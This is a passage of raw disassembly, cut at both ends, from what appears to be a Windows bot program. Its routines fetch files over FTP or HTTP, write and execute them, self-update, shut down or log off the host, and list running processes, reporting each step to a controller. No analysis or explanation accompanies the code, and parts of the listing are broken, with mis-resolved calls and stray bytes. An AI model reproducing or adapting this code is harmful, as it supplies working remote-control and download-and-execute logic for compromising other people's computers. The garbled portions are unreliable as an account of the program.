		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F70
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F70
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F70
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F70
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F70
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EF8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F70
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+5Ch+var_40]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44791F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		push	1
		mov	byte_4E6E84, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FFC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		call	near ptr 28A03CCh
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28A03CCh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A03CCh


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
